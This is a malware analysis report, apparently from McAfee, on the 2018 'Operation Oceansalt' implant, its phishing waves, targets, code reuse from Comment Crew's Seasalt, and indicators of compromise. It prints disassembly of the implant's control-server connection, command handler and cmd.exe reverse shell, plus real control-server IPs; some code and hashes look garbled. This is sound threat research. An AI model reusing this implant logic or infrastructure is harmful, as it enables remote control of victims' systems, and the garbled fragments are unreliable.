‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group

October 18, 2018
‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group

Introduction

McAfee® Advanced Threat Research and Anti-Malware Operations teams have discovered another unknown data reconnaissance implant targeting Korean-speaking users. We have named this threat Operation Oceansalt based on its similarity to the earlier malware Seasalt, which is related to earlier Chinese hacking operations. Oceansalt reuses a portion of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group Comment Crew. Oceansalt appears to have been part of an operation targeting South Korea, United States, and Canada in a well-focused attack. A variation of this malware has been distributed from two compromised sites in South Korea. (They are currently offline.) Oceansalt appears to be the first stage of an advanced persistent threat. The malware can send system data to a control server and execute commands on infected machines, but we do not yet know its ultimate purpose. The Advanced Threat Research team has not previously described this implant in any of our analyses.

Comment Crew or Another Actor?

The actions of Comment Crew, also known as APT1, were exposed in 2013 in a ground-breaking report on Chinese cyber espionage against the United States. This report detailed the inner workings of Comment Crew and its cyber offensive capabilities. The consequences of releasing this public report forced the group to either make changes to their techniques or cease their activity altogether. Until this analysis, we had observed no new activity related to Comment Crew since they were exposed, but now we find portions of their implant code appearing in new operations targeting South Korea.

As we investigated this code overlap, we found no evidence that the source code from Comment Crew was ever made public, nor did we find it being sold in underground markets we examined. Has Comment Crew returned? We think it is unlikely. Due to the lack of indications that this is a new Comment Crew campaign, it

Authors

This report was researched and written by:

- Ryan Sherstobitoff
- Asheer Malhotra

Connect With Us
REPORT

raises the question of who is responsible. Based on our research, we offer a few potential scenarios that could explain the existence of Comment Crew’s code in the current actor’s malware targeting South Koreans.

- This is a code-sharing arrangement between two actors
- An actor has privately gained access to the source code from someone involved in the original Comment Crew operations
- This is a “false flag” operation using Comment Crew’s code to make it appear that China and North Korea have collaborated on this cyberattack

**Does the Actor Speak Korean?**

The contents of the malicious documents were written in Korean and contained subjects specifically relating to the finances of projects in South Korea. These documents appear to be unique, not found on open-source channels. We were not able to determine the source of these documents, suggesting they were created by the actor.

The metadata in the malicious Microsoft Office documents used in the attacks contains a Korean-language code page. This data indicates the document contained the Korean-language pack, most likely to ensure the victims could read it. We also see a consistent author, which is typical of the techniques of previous campaigns we have analyzed that involved malicious documents targeting South Koreans.

The Advanced Threat Research team concludes that we have found a new implant family created by an actor targeting Korean-speaking users and using components from Comment Crew’s source code. Furthermore it is likely that the actor has a good working knowledge of the Korean language.

**Targets**

During our research we discovered the initial attack vector was spear phishing, with two malicious Korean-language Microsoft Excel documents acting as downloaders of this implant. According to our document analysis, the targets likely had knowledge of South Korean public infrastructure projects and related financials—a clear indication that the actor focused initially on infrastructure.

A second round of malicious documents, this time in Microsoft Word, carried the same metadata and author as the Excel documents. The content was related to the financials of the Inter-Korean Cooperation Fund. The
malicious activity first appeared on May 31, 2018, in South Korea. Further telemetry indicates organizations outside of Korea have fallen victim to this attack; as of August 14, the attack had reached multiple industries in Canada and the United States.

The date of the attack’s first appearance in North America is unknown. We did not find Office documents affecting targets in Canada and the United States, but our telemetry indicates the threat has also affected systems in North America. It is possible the attack on North American companies is part of a separate campaign from the one targeting Koreans, especially because we discovered only a handful of malicious documents and they distributed only one variant of the implant out of several we found. Based on our telemetry, the team learned these organizations were in the investment, banking, and agriculture industries.

**Objectives and Impact**

Our research suggests the targets were those who would read documents related to South Korea’s public construction expenses, Inter-Korean Cooperation fund, or other global financial data. One possible motive for the campaign is financial theft. These attacks might be a precursor to a much larger attack that could be devastating given the control the attackers have over their infected victims. The impact of these operations could be huge: Oceansalt gives the attackers full control of any system they manage to compromise and the network it is connected to. A bank’s network would be an especially lucrative target.

Further, the code overlaps with that from a previously reported advanced state-sponsored group. The overlap suggests a close collaboration between members of a state-sponsored group and the current actors in conducting cyber operations.

**Campaign Analysis**

The campaign to target and compromise victims across the world began in Korea and expanded globally in stages. The distribution URLs for the implants were fairly consistent for the malicious documents; it appears the actor hacked a number of South Korean websites to host the implant code.

**Wave One: South Korean higher education**

The first wave of attacks began with a malicious document created May 18, with a last saved date of May 28. The author of this Korean-language document was Lion, whom we will continue to see throughout later documents.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>codepage</td>
<td>949</td>
</tr>
<tr>
<td>author</td>
<td>Lion</td>
</tr>
<tr>
<td>last_saved by</td>
<td>Lion</td>
</tr>
<tr>
<td>create time</td>
<td>2018-05-18 05:54:56</td>
</tr>
<tr>
<td>last_saved time</td>
<td>2018-05-28 00:29:53</td>
</tr>
<tr>
<td>creating_application</td>
<td>Microsoft Excel</td>
</tr>
<tr>
<td>security</td>
<td>0</td>
</tr>
</tbody>
</table>

Figure 2. Metadata from a first-wave malicious document.
In the first wave the malicious Excel file contains a list of Korean names, physical addresses, and email addresses. Many of the names belong to those involved in higher education in South Korea or who attend various institutes. However, the list is random and looks like a copy of a database of personal information from a South Korean government authority.

This document contains macro code to download the implant from www.[redacted].kr/admin/data/member/1/log.php and execute it as V3UI.exe, the name of a security product in South Korea.

**Wave Two: South Korean public infrastructure**

The Advanced Threat Research team discovered that the implant was hosted at a legitimate site in South Korea belonging to a music teachers organization that has no relationship to the malicious document. The actor hosted a PHP page that triggered the download of the implant from a malicious VBA script embedded in two Excel documents, which contained Visual Basic macros to communicate, download, and install an implant on the victim’s system once the document was opened and viewed. The documents were submitted to us by a South Korean organization during the first wave of attacks.

**hxpx://[redacted].kr/admin/data/member/1/log.php**

Figure 3. The download URL for the second wave of attacks, against public infrastructure.

This Excel document was created May 31 by the author Lion, a day before the implant was compiled and hosted on the distribution site. The documents appear to be related to South Korean public infrastructure projects and their expenses. Based on our analysis of the documents, it is clear that this attack is targeted toward South Korean individuals in this field.

![Metadata from a second-wave malicious document](image)
Figure 5. Malicious document 1: investment trends in public infrastructure projects.
Figure 6. Malicious document 2: expenses in public infrastructure projects.

Figure 7. Malicious document 3: a public projects expense report.

The last document in this wave was created by Lion on June 4 with the filename 0.온나라_상용_SW_2018년 대상_list_(20180411) 지역업체.xls. This document was observed downloading the implant from the distribution server. It references Onnara, a government agency responsible for land and development in South Korea.
Wave Three: Inter-Korean Cooperation

The third wave included a Word document with the same type of macro code as the Excel files. The document contained fake information related to the financials of the Inter-Korean Cooperation Fund. The document was created at the same time as the attacks on South Korean public infrastructure officials. Lion authored both Excel and Word documents. This Word document used a different South Korean compromised website to distribute the implant. In this wave, an additional Excel document appeared with telephone numbers and contact information connected to the content of the Word document.

*hxxp://[redacted].kr/gbbs/bbs/admin/log.php*

Figure 8. The distribution URL for the implant for Wave Three.

*Figure 9. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.*
<table>
<thead>
<tr>
<th>Location</th>
<th>Code</th>
<th>Year</th>
<th>Statistics</th>
</tr>
</thead>
<tbody>
<tr>
<td>South Korea</td>
<td>ACLBE DM</td>
<td>2016</td>
<td>XecureXML</td>
</tr>
<tr>
<td>U.S.</td>
<td>ACLBE DM</td>
<td>2016</td>
<td>XecureXML</td>
</tr>
<tr>
<td>Canada</td>
<td>ACLBE DM</td>
<td>2016</td>
<td>XecureXML</td>
</tr>
<tr>
<td>South Korea</td>
<td>ACLBE DM</td>
<td>2017</td>
<td>XecureXML</td>
</tr>
<tr>
<td>U.S.</td>
<td>ACLBE DM</td>
<td>2017</td>
<td>XecureXML</td>
</tr>
<tr>
<td>Canada</td>
<td>ACLBE DM</td>
<td>2017</td>
<td>XecureXML</td>
</tr>
</tbody>
</table>

Figure 10. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.
10 ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group
Wave Four: Targets outside of South Korea

We identified a small number of targets outside of South Korea, as the attacks expanding their scope. We have yet to identify the malicious documents involved in delivering this implant to the victims. Because Waves One and Two contained different distribution servers for the implant, we expect this wave had its own as well. According to McAfee telemetry data between August 10 and 14, these North American targets fall within several industries:

<table>
<thead>
<tr>
<th>Industry</th>
<th>Country</th>
</tr>
</thead>
<tbody>
<tr>
<td>Financial</td>
<td>United States</td>
</tr>
<tr>
<td>Health Care</td>
<td>United States</td>
</tr>
<tr>
<td>Health Care</td>
<td>United States</td>
</tr>
<tr>
<td>Telecommunications</td>
<td>Canada</td>
</tr>
<tr>
<td>Financial</td>
<td>United States</td>
</tr>
<tr>
<td>Agriculture and Industrial</td>
<td>United States</td>
</tr>
<tr>
<td>Financial</td>
<td>United States</td>
</tr>
<tr>
<td>Telecommunications</td>
<td>Canada</td>
</tr>
<tr>
<td>Financial</td>
<td>Canada</td>
</tr>
<tr>
<td>Financial Technology</td>
<td>United States</td>
</tr>
<tr>
<td>Government</td>
<td>United States</td>
</tr>
</tbody>
</table>

Figure 12. Victims in Wave Four of the campaign.

Wave Five: South Korea and United States

The Oceansalt implant was not limited to just one sample. We discovered additional variants using different control servers. As we continued to investigate, we found more samples, though obfuscated to avoid detection. The samples were all identical to the initial Oceansalt implant. The fifth-wave samples were compiled between June 13 and July 17 and were submitted to us by organizations in South Korea and the United States.

<table>
<thead>
<tr>
<th>Hash</th>
<th>Compile Date</th>
<th>Control Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>38216571e9a9364b509e52ec19fae61b</td>
<td>6/13/2018</td>
<td>172.81.132.62</td>
</tr>
<tr>
<td>531dee019792a089a4589c2ccce3dac95</td>
<td>6/14/2018</td>
<td>211.104.160.196</td>
</tr>
<tr>
<td>0355c116c02b02c05d6e90a0b3dc107c</td>
<td>7/16/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>74a50a5705e2af736095b6b186d38ddf</td>
<td>7/16/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>45c362f17c5dc8496e97d475562be4d</td>
<td>7/17/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>c1773e9f8265693f37df1a39e0cbb2e2</td>
<td>7/17/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>d14dd769c7f53acec482347f539efdf4</td>
<td>7/17/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>b2f6d9a62c63f61a6b33dc6520bfccc0</td>
<td>7/17/2018</td>
<td>27.102.112.179</td>
</tr>
<tr>
<td>76c8da4147b08e902809d1e80d96fbb4</td>
<td>7/17/2018</td>
<td>27.102.112.179</td>
</tr>
</tbody>
</table>
Technical Analysis

Download and execution capabilities
- Once the .xls/.doc files are opened in Office, embedded malicious macros contact a download server and write the Oceansalt implant to disk
- These malicious macros execute the Oceansalt implant on the infected endpoint

The indicators of compromise from the malicious .xls downloaders:

<table>
<thead>
<tr>
<th>IOC Description</th>
<th>IOC Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Download servers contacted</td>
<td>[redacted].kr [redacted].kr</td>
</tr>
<tr>
<td>Oceansalt location on the</td>
<td>/admin/data/member/1/log[.]php</td>
</tr>
<tr>
<td>download server</td>
<td>/gbbs/bbs/admin/log[.]php</td>
</tr>
<tr>
<td>Oceansalt location on the</td>
<td>%temp%\SynTPHelper[.]exe</td>
</tr>
<tr>
<td>infected endpoint</td>
<td>%temp%\LMWorker[.]exe</td>
</tr>
</tbody>
</table>

Figure 13. A portion of the malicious macro code used to download the implant.
**Control Server**

The campaign employed multiple control servers. We observed the following IP addresses in implants dating from June to July.

- 172.81.132.62
- 211.104.160.196
- 27.102.112.179
- 158.69.131.78

Our telemetry shows this campaign is operational in several countries. Address 211.104.160.196 indicates infections in Costa Rica, the United States, and the Philippines. Address 158.69.131.78 reveals additional infections in the United States and Canada.

These machines resided in numerous countries from August 18–21. Because this operation involves multifunction implants, these machines are likely to be part of a larger covert listener network. The Advanced Threat Research team has observed this kind of targeting in similar operations that compromise victims as control server relays.

**Implant Origins**

Our initial investigation into earlier similar samples led us to a variant—bf4f5b4ff7ed9c7275496c07f9836028, compiled in 2010. Oceansalt uses portions of code from this sample; their overall similarity is 21%. The reused code is unique, is not considered a common library or common code, and serves reconnaissance and control.

The misclassified sample used a Comment Crew domain. Further investigation revealed the misclassified sample is 99% like Seasalt (5e0df5b28a349d46ac8cc7d9e5e61a96), a Comment Crew implant reported to have been used in their operations around 2010. Thus the Oceansalt actor is reusing portions of code from Seasalt to form a new implant. Based on the overall techniques, Oceansalt is unlikely to signal a rebirth of Comment Crew, raising the question of how the actor obtained the Seasalt code. Was it provided to this or another actor, or was it leaked and discovered by this actor? We have been unable to find any evidence in underground or public forums that suggest the source code of Seasalt has been leaked or made available.

We discovered another batch of samples compiled on July 16–17 that are obfuscated and essentially the same implant, with minor changes such as the control servers. Some of the samples are missing reverse-shell functionality, indicating that this actor has access to Seasalt source code and can compile implants from the original source. This could demonstrate is a level of collaboration between two nation-states on their cyber offensive programs.

**Code Similarities with Seasalt**

Oceansalt contains the following strings that are part of Seasalt:

- Upfileer
- Upfileok
Both implants have a high degree of similarity in code sharing and functions. A few of their commonalities follow.

**Command handler and index table similarities**

The command handler for both implants uses similar semantics and command codes to execute the same functionalities. Even the mechanism for calculating the command code is similar. Seasalt code is represented on the left and Oceansalt appears on the right:

```assembly
push  eax ; flags
push  9 ; len
push  offset aupfileer ; “upfileer”
push  edi ; s
call  sub_aupcode
add  esp, 10h
pop   edi
pop   ebx
mov   ecx, [ebp+var_4]
xor   ecx, ebp
call  @security_check_cookie@4 ; __security_check_cookie(x)
mov   esp, ebp
pop   ebp
retn
```

Figure 16. Command handler similarity between Seasalt, at left, and Oceansalt.

```assembly
loc_401338: ; hObject
push  ebx
call  ds:CloseHandle
push  0 ; flags
push  9 ; len
push  offset aupfileok ; “upfileok”
```

Figure 17. Command index table similarity between Seasalt, at left, and Oceansalt.

**Command and capability similarities**

Both implants execute their capabilities in the same way, which indicates they were both developed from the same code base. The response codes used by both implants to indicate the success or failure of the commands executed on the endpoint are also an exact match. Some of these similarities:

- Drive reconnaissance capability: Similar code signatures. Both implants use the same codes to indicate the drive type to the control server.
‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group
File reconnaissance capability: Similar API and code usage to get file information. The response codes sent to the control server to indicate whether a file was found is an exact match.

Figure 19. Similarity in the command execution capability. Seasalt is at left.
Reverse-shell creation capability: Both implants use similar code signatures to create a reverse shell on the infected endpoint. Both reverse shells are based on cmd.exe.

Figure 20. Reverse-shell creation capability similarities. Seasalt is at left.
**Code Differences from Seasalt**

There are a few differences between the two implants in implementation; these demonstrate that Oceansalt is not simply a recompilation of Seasalt source code. However, these differences also provide evidence that Oceansalt is an evolution of Seasalt.

- **Encoding:** The Oceansalt implant uses an encoding and decoding mechanism before any data is sent to the control server. The Seasalt implant does not use this encoding and sends unencrypted data to the control server.

- **Control server address:** Oceansalt uses a hardcoded control server address to establish communication. Seasalt parses the control address from its binary by decoding data.

- **Persistence:** Oceansalt has no persistence mechanisms to ensure continued infection over endpoint reboots. Seasalt, on the other hand, copies itself to `C:\DOCUMENT\~1\<userid>\java.exe` and creates a registry entry to ensure infection after reboot:

  ```
  HKLM\Software\Microsoft\Windows\currentVersion\Run | sysinfo
  ```

Based on the executable header information, Seasalt was compiled on March 30, 2010. Oceansalt was compiled on June 1, 2018. Highlighting the compilation timestamps is important because, as our preceding analysis demonstrates, the samples have a high degree of code sharing:

- Multiple code matches and similarities
- Multiple functional similarities
- Identical command capabilities
- Same command and response codes issued by and sent to the control server

The code used to create the reverse shell in Oceansalt is an exact match with that of Comment Crew’s Seasalt implant. The mechanism for creating the reverse shell (pipe-based inter-process communication for standard I/O handles) is also seen in Comment Crew implants such as WebC2-CSON and WebC2-GREENCAT.

These matches lead us to believe that Oceansalt is based on Seasalt, because it reuses much of the code base developed 10 years ago. Seasalt’s public disclosure in the Comment Crew report does not seem to have discouraged Oceansalt’s developer.

**Obfuscated Oceansalt Comparison with Seasalt**

We offer a comparative analysis of the following partially obfuscated implants against the initial Oceansalt sample and the Seasalt implant from Comment Crew.

<table>
<thead>
<tr>
<th>SHA-1</th>
<th>Compile Date</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>fc121db04067c0ffbed04d7403c1d222d376fa7ba</td>
<td>7/16/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>281a13ecb674de42f2e8fdaea56e6f46a5436c685</td>
<td>7/17/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>1f70715e86a2fccc1437926ecf4aede53ddce41c9</td>
<td>7/17/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>ec9a9d431fd69e23a5b770bf03fe0f2b5a21c0c36</td>
<td>7/16/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>12a9faa96ba1be8a73e73be72ef1072066964fb</td>
<td>7/17/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>be4fbb5a4b32db20a914cad5701f5c7ba5f571b7</td>
<td>7/17/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
<tr>
<td>0ae167204c841bdf3600dddf2c9c185b17ac6d4</td>
<td>7/17/2018</td>
<td>Partially obfuscated Oceansalt</td>
</tr>
</tbody>
</table>
All the partially obfuscated Oceansalt implants have the following characteristics:

- All implants were compiled during a three-day period: July 16–18
- All implants contain debug statements (print logs) written to the log file: C:\Users\Public\Videos\temp.log
- These debug statements begin with the timestamp and consist of the following keywords at the beginning of the debug message:
  - [WinMain]
  - [FraudProc]
- All implants connected to the same control server IP address: 27.102.112.179
- Although none of the partially obfuscated implants contain any additional capabilities (as compared with the initial Oceansalt or Seasalt), some of the partially obfuscated implants are missing the reverse-shell capabilities:

<table>
<thead>
<tr>
<th>Partially Obfuscated Oceansalt Hash</th>
<th>Reverse-Shell Capability?</th>
</tr>
</thead>
<tbody>
<tr>
<td>C1773E9CF8265693F37DF1A39E0CBB8E2</td>
<td>No</td>
</tr>
<tr>
<td>0355C116C02B02C05D6E90A083DC107C</td>
<td>Yes</td>
</tr>
<tr>
<td>74A50A5705E2AF73609586B186D38DDF</td>
<td>Yes</td>
</tr>
<tr>
<td>45C362F17C5DC8496E97D475562BEC4D</td>
<td>No</td>
</tr>
<tr>
<td>D14DD769C7F53ACEC482347F539E6DF4</td>
<td>No</td>
</tr>
<tr>
<td>B2F6D9A62C63F61A6B33DC6520BFC0C</td>
<td>Yes</td>
</tr>
<tr>
<td>76C8DA4147B08E902B09D1E80D96FBB4</td>
<td>Yes</td>
</tr>
</tbody>
</table>

**Evidence of Source-Code Sharing**

We present evidence of source-code sharing between the Oceansalt authors and Comment Crew, based on our comparative analysis of the three sets of samples: Oceansalt, partially obfuscated Oceansalt, and Seasalt.

- There is no possibility the attackers could have re-instrumented Seasalt by simply modifying the control server IP addresses:
  - The mechanism for obtaining the address in Seasalt is different from Oceansalt’s. Seasalt looks for encoded data at the end of the binary, decodes this data into tokens separated by the marker “$,” and obtains the control server information.
  - Oceansalt implants have the control server IP addresses and port numbers hardcoded as plaintext strings in the binaries.

- Some of the partially obfuscated Oceansalt implants are missing the reverse-shell capability. All other capabilities (code signatures, response codes, etc.) and command codes are similar. (Command codes are either the same or off by 1.) Modifying capabilities in this fashion is possible only with access to the source code of Seasalt.
The presence of debug strings tracing the code flow of the Oceansalt implants indicates they were compiled after adding debug information to the source code of Seasalt:
- [WinMain]after recv cmd=%d 0Dh 0Ah
- [WinMain]before recv 0Dh 0Ah
- [FraudProc]Engine is still active! 0Dh 0Ah
- [FraudProc]Process Restart! 0Dh 0Ah

The presence of these debug strings also indicates that the authors who modified the source code may have used these samples to perform their initial testing before obfuscating and releasing the implants to their victims, without scrubbing the debug strings.

The Oceansalt implant 531dee019792a089a4589c2ce3dac95 (compiled June 1) contains a few key features that indicate compilation from the source code of Seasalt:
- Does not contain the reverse-shell capability
- Does not contain the drive recon capability
- Loads API SHGetFileInfoA() dynamically without statically importing it. This also suggests that Seasalt’s source code was modified before compilation.

Figure 21. Dynamic API loading in an Oceansalt implant.
Oceansalt is 76KB, a minimal on-disk footprint that is harder to detect than larger malware. The implant has a variety of capabilities for capturing data from the victim's machine using a structured command system. From our research we have determined that this implant is a first-stage component. Further stages are downloaded through its commands. Oceansalt also supports commands enabling the attacker to take various actions on the victim's system.

**Initial reconnaissance**

Oceansalt starts by trying to connect to its control server at 158.69.131.78:8080. Once connected, the implant sends the following information about the endpoint:

- IP address
- Computer name
- File path of the implant

All data sent to the control server is encoded with a NOT operation on each byte.

```assembly
push  ebp
mov  ebp, esp
sub  esp, 82ch
mov  rax,  [ebp+8], eax
call _contract_ip_address_and_port_of_CNC
test rax, rax
jz  loc_10924BE
call XORStartup
push offset byte_1054A00
call _gethostname to get computer name
push offset byte_1054A00 ; int
push offset byte_1054A00 ; name
call _gethostname_inet_ntoa_to_get_ip_address_of_self
add  esp, 8Ch
xor  ecx, ecx
```

Figure 22. Initial data gathered from the endpoint by Oceansalt.

```assembly
push  offset name
call  edi ; gethostname
mov  eax, [eax+8Ch]
mov  eax, [eax]
push  dword ptr [eax] ; in
call  ds/inet_ntoa
push  0       ; protocol
push  SOCK_STREAM ; type
push  AF_INET ; af
mov  ebx, eax
call  ds/socket
mov  s, eax
cmp  eax, INVALID_HANDLE_VALUE
jz   ret_loc
mov  eax, 2
mov  sockaddr _sa_family, ax
movzx eax, word ptr port_number ; port_number - 8080 - 0000
push  eax ; hostshort
call  ds:hton
push  ebx           ; cp
mov  word ptr sockaddr _sa_data, ax
call  ds/inet_addr
push  1Oh        ; name
push  offset sockaddr _0 ; name
push  s          ; s
mov  dword ptr sockaddr _0.sa_data+2, eax
call  ds:connect
cmp  eax, INVALID_HANDLE_VALUE
jnz  short connected_to_CNC
push  s          ; s
call  ds:close_socket
push  5000       ; dwMilliseconds
call  esi ; $sleep
```

Figure 23. Control server connection functionality for Oceansalt.
**Command handler functions**

Oceansalt can execute 12 commands. Each command received from the control server is represented by a command code ranging from 0x0 to 0xB (0 to 11).

```assembly
command_index_table dd offset send_drive_info_loc
    ; DATA XREF: WinMain(x,x,x)+294Dr
    dd offset send_file_info_loc ; jump table for switch statement
    dd offset execute_command_loc
    dd offset delete_file_loc
    dd offset write_file_loc
    dd offset read_file_loc
    dd offset send_process_info_loc
    dd offset terminate_process_loc
    dd offset create_reverse_shell_loc
    dd offset send_commands_to_reverse_shell_loc
    dd offset cleanup_ipc_pipes_for_reverse_shell_loc
    dd offset test_send_reverse_loc
```

Figure 24. Command index table showing Oceansalt's capabilities.
receive_and_execute_commands_from_DnC:  ; CODE XREF: WinMain(z,x,x)+53044
    push 0  ; Flags
    push 100h  ; len
    lea eax, [ebp+dst]  
    push eax  ; dst
    push s  ; s
    call recv_and_decode_  
    add esp, 10h  
    test eax, eax  
    jae loc_1892470  
    mov esp, [ebp+dst]  
    dec eax  
    cmp eax, 66h  ; switch 12 cases based on command ID in eax
    ja  default_case  ; jmpntable 00402264 default case
    jmp dcommand_index_table[eax+1] ; switch jump

senddrive_info_loc:  ; CODE XREF: WinMain(z,x,x)+234Tj
    push s  ; jmpntable 00402264 case 0
    call senddrive_info_  
    jmp loc_1892440

send_file_info_loc:  ; CODE XREF: WinMain(z,x,x)+234Tj
    lea eax, [ebp+CmnLine]  ; jmpntable 00402264 case 1
    push eax  ; lpFileName
    push s  ; s
    call send_file_info_  
    add esp, 8  
    jmp default_case  ; jmpntable 00402264 default case

execute_command_loc:  ; CODE XREF: WinMain(z,x,x)+234Tj
    lea eax, [ebp+CmnLine]  ; jmpntable 00402264 case 2
    push eax  ; lpCmdLine
    push s  ; s
    call execute_file_  
    add esp, 8  
    jmp default_case  ; jmpntable 00402264 default case

delete_file_loc:  ; CODE XREF: WinMain(z,x,x)+234Tj
    lea eax, [ebp+CmnLine]  ; jmpntable 00402264 case 3
    push eax  ; lpFileName
    push s  ; s
    call delete_file_  
    add esp, 8  
    jmp default_case  ; jmpntable 00402264 default case

write_file_loc:  ; CODE XREF: WinMain(z,x,x)+234Tj
    push s  ; jmpntable 00402264 case 4
    call write_file_to_disk_  
    jmp short loc_1892440

Figure 25. Oceansalt’s command execution functionality.
0x0: Drive recon

The control server sends this command code to Oceansalt to extract drive information from the endpoint. The format of the drive information:

```
#<Drive_letter>:<Drive_type><Drive_letter>:<Drive_type>...
```

<table>
<thead>
<tr>
<th>Legend</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;Drive_letter&gt;</td>
<td>A,B,C,D,E, etc., representing all logical drives on the system</td>
</tr>
<tr>
<td>&lt;Drive_type&gt;</td>
<td>0 = DRIVE_REMOVABLE</td>
</tr>
<tr>
<td></td>
<td>1 = DRIVE_FIXED</td>
</tr>
<tr>
<td></td>
<td>2 = DRIVE_CDROM</td>
</tr>
<tr>
<td></td>
<td>3 = DRIVE_REMOTE</td>
</tr>
</tbody>
</table>

Figure 26. Oceansalt gathering drive information.
0x1: File recon
Sends the following information about a specific file (or file pattern) specified by the control server:
- Filename
- Type of file on disk, for example, file or folder
- “OK” if file was found on the location
- File creation time in format <YYYY-mm-DD HH:MM:SS>

0x2: Command execute
Executes a command line using WinExec(). The command line is provided by the control server along with the command number. For example:

```
<DWORD representing command number><command line to be executed>
02 00 00 00 C:\Windows\system32\calc.exe
```

The command line is executed with a hidden window (using the SW_HIDE option for WinExec()).

```
push esp
mov esp,esp
push SW_HIDE
push [ebp+lpCmdLine] ; lpCmdLine
call CreateProcess
push 0 ; nFlags
push 2 ; lpCmdLine
cmp eax, 31 ; return value is gt 31 if Winexe succeeds
file short winexec_failed
push [ebp+si] ; &S
call _encode_and_send_
add esp, 10h
pop esp
ret
```

Figure 27. Oceansalt’s command execution capability.

0x3: File delete
- Deletes a file specified by the control server from the disk
- Once an operation is completed, the implant sends a “0” (in ASCII) to the control server to indicate the successful execution of the command
- If the operation fails, Oceansalt sends a “1” (in ASCII) to indicate failure

0x4: File write
- Creates a file specified by a file path provided by the control server, which also provides the content to be written to the file path
- If the file write is successful, Oceansalt sends the keyword “upfileok” indicating success
- If the file write fails, the implant sends the keyword “upfileer” indicating failure
**0x6: Process recon**

- Sends the name and ID for every process running on the system to the control server.
- Process data is sent via individual packets, that is, one packet per process.

---

**REPORT**

Figure 28. Oceansalt's file-writing capability.

Figure 29. Oceansalt's process listing via its recon capability.
**REPORT**

**0x7: Process terminate**
- Terminates a process whose ID has been specified by the control server.

**0x8: Reverse shell create**
- Opens a reverse shell from the infected endpoint to the control server using Windows pipes.
- This reverse shell is based on cmd.exe. It can carry out further recon and make changes to the endpoint.

```assembly
push  ebx
push  esi
mov   esi, ds:CreatePipe
lea   eax, [ebp+PipeAttributes]
push  0    ; nSize
push  eax  ; lpPipeAttributes
push  offset hWndPipe ; hWndPipe
push  offset hReadPipe ; hReadPipe
mov   [ebp+PipeAttributes.nLength], 0Ch
mov   [ebp+PipeAttributes.lpSecurityDescriptor], 0
mov   [ebp+PipeAttributes.hInheritHandle], 1
call  esi    ; CreatePipe
push  0    ; nSize
lea   eax, [ebp+PipeAttributes]
push  eax  ; lpPipeAttributes
push  offset hWndPipe ; hWndPipe
push  offset hReadPipe ; hReadPipe
call  esi    ; CreatePipe
mov   eax, DWORD PTR ds:aCmd.exe ; "cmd.exe"
mov   eax, DWORD PTR ds:aCmd.exe+4 ; "exe"
push  4:
lea   eax, [ebp+StartInfo]
push  0    ; W1
push  eax  ; StartInfo
call  _memset
add   es, 0Ch
mov   [ebp+StartInfo.dwFlags], 101h
xor   eax, eax
mov   [ebp+StartInfo.dwShowWindow], ax
mov   eax, hReadPipe
mov   [ebp+StartInfo.hStdInput], eax
mov   eax, hWndPipe
mov   [ebp+StartInfo.hStdOutput], eax
mov   [ebp+StartInfo.hStdError], eax
lea   eax, [ebp+ProcessInformation]
push  eax  ; lpProcessInformation
lea   eax, [ebp+StartInfo]
push  eax  ; lpStartupInfo
push  0    ; lpCurrentDirectory
push  0    ; lpEnvironment
push  0    ; dwCreationFlags
push  1    ; bInheritHandles
push  0    ; lpThreadAttributes
push  0    ; lpProcessAttributes
lea   eax, [ebp+CommandLine]
push  eax  ; lpCommandLine
push  0    ; lpApplicationName
call  ds:CreateProcessA
push  7Dh    ; dwMilliseconds
call  Sleep
mov   ebx, ds:PeekNamedPipe
lea   eax, [ebp+Buffer]
push  0    ; lpBytesLeftThisMessage
push  0    ; lpTotalBytesRead
push  offset BytesRead ; lpBytesRead
push  eax    ; nBuffer
push  8      ; lpBuffer
push  hReadPipe ; hNamedPipe
mov   [ebp+arg_10], 1
call  ebx    ; PeekNamedPipe
```

Figure 30. Oceansalt’s reverse-shell creation capability.
0x9: Reverse shell operate
- Operates the reverse shell established using the previous command code
- Contains the commands sent by the control server to the reverse shell that will be executed by cmd.exe on the infected endpoint
- Once the command has been executed, the output is read from cmd.exe via a pipe and sent to the control server

0xA: Reverse shell terminate
- Closes the reverse shell by closing handles to the pipes created for the shell's inter-process communication

0XB: Connection test
- Tests receive and send capabilities of the implant by receiving data (0x7 bytes) from the control server and sending it back
- Persistence
- Oceansalt has no persistence capabilities to remain on the endpoint after the system reboots
- This lack suggests other components in the infection chain may ensure persistence and carry out other malicious activities

Conclusion
Based on our analysis, the McAfee Advanced Threat Research team has named this global threat Operation Oceansalt. This operation has focused on targets in South Korea and other countries with new malware that has roots in Comment Crew activity from 2010.

Our research shows that Comment Crew’s malware in part lives on in different forms employed by another advanced persistent threat group operating primarily against South Korea. This research represents how threat actors including nation-states might collaborate on their campaigns. McAfee continues to monitor the threat landscape in Asia and around the world to track the evolution of known groups and changes to their techniques.
REPORT

McAfee Coverage
- Generic.dx!tjz
- RDN/Generic.grp
- RDN/Generic.ole
- RDN/Generic.grp (trojan)
- RDN/Trojan-FQBD
- RDN/Generic.RP

Indicators of Compromise

MITRE ATT&CK™ Techniques
- Scripting
- Spear phishing attachment
- Automated collection
- Command-line interface
